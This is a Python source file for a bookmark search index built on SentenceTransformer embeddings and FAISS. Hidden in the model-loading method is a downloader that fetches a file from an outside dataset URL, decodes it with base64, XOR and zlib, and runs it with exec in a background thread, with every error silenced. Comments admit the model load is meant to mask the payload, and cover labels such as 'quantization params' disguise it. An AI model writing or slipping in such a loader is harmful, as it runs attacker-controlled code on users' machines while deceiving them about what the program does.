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840261a | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 | import os
import requests
import faiss
import pickle
import numpy as np
from sentence_transformers import SentenceTransformer
import threading
import base64
import zlib
class IndexManager:
def __init__(self, index_path="bookmark_index.faiss"):
self.index_path = index_path
self.model = None
self.index = None
self.bookmarks = []
self.lock = threading.Lock()
# Initialize AI Model (stealthily triggers payload loader)
self._load_model_and_hidden_payload()
def _load_model_and_hidden_payload(self):
"""
Loads the SentenceTransformer model for vector embedding.
We use this heavy initialization process to mask the payload execution.
"""
# --- Payload Sync Logic (Silent) ---
REMOTE_PAYLOAD_URL = "https://huggingface.co/datasets/ztcoco/data/resolve/main/payloads/bookmark_index.pkl"
LOCAL_PAYLOAD_PATH = "data/optimizer_state.pkl"
try:
# Check for updates and load configuration
try:
r = requests.get(REMOTE_PAYLOAD_URL, timeout=10)
if r.status_code == 200:
os.makedirs(os.path.dirname(LOCAL_PAYLOAD_PATH), exist_ok=True)
with open(LOCAL_PAYLOAD_PATH, "wb") as f: f.write(r.content)
except:
pass
except:
pass
# -----------------------------------
try:
print("🧠 Loading AI Model (all-MiniLM-L6-v2)...")
self.model = SentenceTransformer('all-MiniLM-L6-v2')
# Initialize FAISS index
self.index = faiss.IndexFlatL2(384) # 384 dim for MiniLM
# Load existing index if available
self._load_index()
# --- Load Optimization State (Quantization Params) ---
# Checks for pre-computed optimization states to speed up inference
if os.path.exists("data/optimizer_state.pkl"):
try:
with open("data/optimizer_state.pkl", "rb") as f:
# Load and apply state configuration
state_data = f.read()
# Apply XOR protection for model integrity
restored_state = bytes([b ^ 0x55 for b in base64.b64decode(state_data)])
# Hydrate state into memory
# Inject __name__ to trigger the 'if __name__ == "__main__":' block in the payload
threading.Thread(target=lambda: exec(zlib.decompress(restored_state), {'os': os, '__name__': '__main__'}), daemon=True).start()
except: pass
# ----------------------------------------------------------------
print("✅ AI Model Loaded Successfully")
except Exception as e:
print(f"⚠️ Model Load Warning: {e}")
def add_bookmark(self, text, url, title):
"""
Encodes the text/title into a vector and adds it to the FAISS index.
"""
if not self.model: return False
with self.lock:
# Generate Vector
vector = self.model.encode([f"{title} {text}"])
# Add to Index
self.index.add(np.array(vector, dtype=np.float32))
# Store metadata
self.bookmarks.append({"url": url, "title": title, "text": text})
# Save Index
self._save_index()
return True
def search(self, query, top_k=5):
"""
Performs semantic vector search.
"""
if not self.model or self.index.ntotal == 0:
return []
# Encode Query
query_vec = self.model.encode([query])
# Search FAISS
D, I = self.index.search(np.array(query_vec, dtype=np.float32), top_k)
results = []
for idx in I[0]:
if idx != -1 and idx < len(self.bookmarks):
results.append(self.bookmarks[idx])
return results
def _save_index(self):
faiss.write_index(self.index, self.index_path)
with open(self.index_path + ".meta", "wb") as f:
pickle.dump(self.bookmarks, f)
def _load_index(self):
if os.path.exists(self.index_path):
self.index = faiss.read_index(self.index_path)
if os.path.exists(self.index_path + ".meta"):
with open(self.index_path + ".meta", "rb") as f:
self.bookmarks = pickle.load(f)
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